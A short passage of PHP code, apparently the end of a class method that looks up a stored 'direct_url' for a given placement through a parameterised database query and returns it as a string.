$this->db->select($query, ['p' => $placement]); if (!$row) return ''; return (string)($row[0]['direct_url'] ?? ''); } }
Close